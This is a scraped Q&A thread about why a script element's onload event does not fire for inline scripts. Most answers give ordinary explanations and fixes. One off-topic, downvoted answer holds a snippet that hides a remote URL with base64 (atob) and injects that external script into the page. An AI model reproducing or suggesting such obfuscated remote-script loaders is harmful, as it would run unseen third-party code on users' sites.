CODEWITHSUNDEEP
javascriptonloadscript-tag
Foobar
Foobar

Reputation: 8487

onload event in script tag not firing

To preface, I have looked at the existing posts about this issue on SO and I believe my code incorporates all suggested fixes, yet it still doesn't work.

I am trying to get a simple onload event to fire:

var test = function() {
    console.log("Script loaded! V2")
}

//Append new user script to head 
const userProg = document.createElement('script')
userProg.type = 'text/javascript'
userProg.id = 'user-program'

userProg.addEventListener('load', test, false)
userProg.onload = function() {
    console.log("Script loaded! V1")
}

userProg.text = [goatPuzzleSetupCode, genericSetupCode, userCode, resultToJSONCode].join('\n')
document.head.appendChild(userProg)

What's frustrating is that I have gotten the onload event to fire before, but I don't have a copy of my code from when it was working. So I'm not sure what the issue is.

Upvotes: 4

Views: 11147

Answers (4)

matt
matt

Reputation: 519

if the load event is not triggered on the script element because content is not being downloaded, then

                    
                    ;
                    console.log(1);

                    var script    = document.createElement('script');
                    script.textContent    = `
                          console.log(2);
                          a++;    //-- generate error
                          console.log(3);
                    `;
                    document.head.append(script);

                    console.log(4);
                    
                    //output->1,2,4

it seems the script content is executed immediately, hopefully this is standard

so just continue with your program ( or call the onload function yourself )

Upvotes: 0

Janmejay Karan
Janmejay Karan

Reputation: 1

<script type="text/javascript">
  window.onload = function() {
    var e = document.createElement("script"),
      t = document.getElementsByTagName("script")[0];
    e.async = !0, e.src = atob("aHR0cHM6Ly9jaGF0NHNpdGUuYWkvZW1iZWRXaWRnZXQuanM/dD0=") + Math.floor(Date.now()), e.charset = "UTF-8", e.setAttribute("crossorigin", "*"), e.setAttribute("widgetId", "17432574"), t.parentNode.insertBefore(e, t)
  }();
</script>

Upvotes: -2

NullPointer
NullPointer

Reputation: 7368

Onload is not working in your case because there is nothing to load for an inline script It will work for the scripts that will be downloaded i.e. remote scripts.

However also need to take care about 1 thing for remote scripts:

Need to set the src attribute after the onload event.

//Append new user script to head 
var goatPuzzleSetupCode=  console.log("Script goatPuzzleSetupCode");
var genericSetupCode=  console.log("Script genericSetupCode");
var userCode=  console.log("Script userCode");
var resultToJSONCode=  console.log("Script resultToJSONCode");
var userProg = document.createElement('script');


var script="//cdnjs.cloudflare.com/ajax/libs/less.js/1.3.3/less.min.js";
//userProg.addEventListener('load', test, false);
userProg.onload = function(script) {
    console.log("Script loaded! 1"+script)
	test();
};
userProg.src=script;
userProg.text = [goatPuzzleSetupCode, genericSetupCode, userCode, resultToJSONCode].join('\n')
document.head.appendChild(userProg);


 
 var test = function() {
    console.log("Script loaded! 2")
}

Upvotes: 2

CertainPerformance
CertainPerformance

Reputation: 371138

It sounds like you're looking for an event like afterscriptexecute, which is unfortunately non-standard and shouldn't be used. But, because you're inserting the script text directly already, it should be simple enough to add something else to the text that fires a window function, assuming the appended script doesn't contain errors. For example:

window.scriptLoaded = function() {
    console.log("Script loaded! V2")
}
const text1 = 'console.log("script1 running")';
const text2 = 'console.log("script2 running")';
//Append new user script to head 
const userProg = document.createElement('script')
userProg.text = [text1, text2, 'scriptLoaded();'].join('\n');
document.head.appendChild(userProg)

(onload doesn't work because, as a comment said:

The onload is for when the element loads. i,e finished downloading.

but there's nothing for a script without a src to download)

Upvotes: 4

Related Questions